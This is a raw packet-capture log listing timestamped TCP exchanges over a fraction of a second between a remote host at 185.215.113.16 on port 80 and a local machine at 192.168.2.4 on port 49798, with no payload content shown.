Nov 22, 2024 04:12:28.370045900 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.370083094 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.370800018 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.370839119 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.370877028 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.370918036 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.371671915 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.371711016 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.371773005 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.371813059 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.372519970 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.372560978 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.372612000 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.372651100 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.373408079 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.373447895 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.373526096 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.373563051 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.374245882 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.374284983 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.374330044 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.374371052 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.375114918 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.375159979 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.375206947 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.375246048 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.375987053 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.376027107 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.376074076 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.376111031 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.376837015 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.376876116 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.376926899 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.376964092 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.377703905 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.377744913 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.377789021 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.377827883 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.378556967 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.378618956 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.378665924 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.378704071 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.379439116 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.379477024 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.379492044 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.379528046 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.380307913 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.380346060 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.380412102 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.380450010 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.381174088 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.381212950 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.381258965 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.381297112 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.382029057 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.382069111 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.382148027 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.382186890 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.382910013 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.382947922 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.383013964 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.383059978 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.383745909 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.383785963 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.383826017 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.383862972 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.384608984 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.384649992 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.384695053 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.384733915 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.385473967 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.385514975 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.385626078 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.385663033 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.386328936 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.386369944 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.386436939 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.386476994 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.387192011 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.387239933 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.387284040 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.387322903 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.388065100 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.388106108 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.388150930 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.388187885 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.388963938 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.389028072 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.389043093 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.389080048 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.389831066 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.389869928 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.389934063 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.389974117 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.390661001 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.390698910 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.390743017 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.390780926 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.391537905 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.391582012 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.391625881 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.391664982 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.392389059 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.392429113 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.392493963 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.392532110 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.393261909 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.393311977 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.393381119 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.393423080 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.394100904 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.394144058 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.394190073 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.394228935 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.394973040 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.395015001 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.395076990 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.395117044 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.395813942 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.395858049 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.552491903 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.552584887 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.552656889 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.552701950 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.552824974 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.552865982 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.552927971 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.552968979 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.553711891 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.553754091 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.553796053 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.553837061 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.554543972 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.554589033 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.554650068 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.554689884 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.555427074 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.555464983 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.555516958 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.555556059 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.556277037 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.556333065 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.556389093 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.556427956 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.557141066 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.557183027 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.557233095 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.557272911 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.558016062 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.558062077 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.558108091 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.558149099 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.558859110 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.558911085 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.558954954 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.558989048 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.559721947 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.559772015 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.559820890 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.559859037 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.560601950 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.560641050 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.560709000 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.560755968 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.561460972 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.561497927 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.561556101 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.561594009 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.562335968 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.562375069 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.562431097 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.562469959 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.563199997 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.563241005 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.563308954 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.563345909 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.564053059 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.564105034 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.564148903 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.564188004 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.564919949 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.564958096 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.565026999 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.565064907 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.565809965 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.565848112 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.565927029 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.565964937 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.566639900 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.566679001 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.566740036 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.566776991 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.567518950 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.567564964 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.567620993 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.567662954 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.568393946 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.568434000 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.568511009 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.568551064 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.570740938 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.570786953 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.571845055 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.571897984 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.573283911 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.573306084 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.573323011 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.573328972 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.573338032 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.573353052 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.573360920 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.573373079 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.573389053 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.573400974 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.573409081 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.573436975 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.574302912 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.574343920 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.574482918 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.574521065 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.575182915 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.575225115 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.575351000 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.575388908 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.576086998 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.576107025 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.576129913 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.576141119 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.576740026 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.576776981 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.576913118 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.576955080 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.577639103 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.577681065 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.577763081 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.577801943 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.578285933 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.578305960 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.578330040 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.578336000 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.578351021 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.578356981 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.578376055 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.578386068 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.578718901 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.578766108 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.578831911 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.578874111 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.579590082 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.579696894 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.579705000 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.579761982 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.580437899 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.580491066 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.580533981 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.580574036 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.581321955 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.581373930 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.581412077 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.581454039 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.582187891 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.582235098 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.582377911 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.582425117 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.583066940 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.583142042 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.583184958 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.583225965 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.583885908 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.583925009 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.583998919 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.584037066 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.584753036 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.584801912 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.584862947 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.584907055 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.585639000 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.585691929 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.585755110 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.585793972 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.586486101 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.586535931 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.586580038 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.586622000 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.587357998 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.587404966 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.587447882 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.587498903 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.588213921 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.588252068 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.588330030 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.588370085 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.589099884 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.589155912 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.589221954 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.589266062 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.589971066 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.590030909 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.590056896 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.590097904 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.590820074 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.590864897 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.590931892 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.590970993 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.591677904 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.591716051 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.591783047 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.591811895 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.592525959 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.592570066 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.592645884 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.592681885 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.596889973 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.596905947 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.596932888 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.596951008 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.596955061 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.596977949 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.596982002 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.597002029 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.597004890 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.597017050 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.597038984 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.597558022 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.597598076 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.597683907 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.597723007 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.598370075 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.598411083 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.598530054 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.598583937 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.599229097 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.599272966 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.753654003 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.753737926 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.753758907 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.753906965 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.754087925 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.754143000 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.754185915 CET	80	49798	185.215.113.16	192.168.2.4
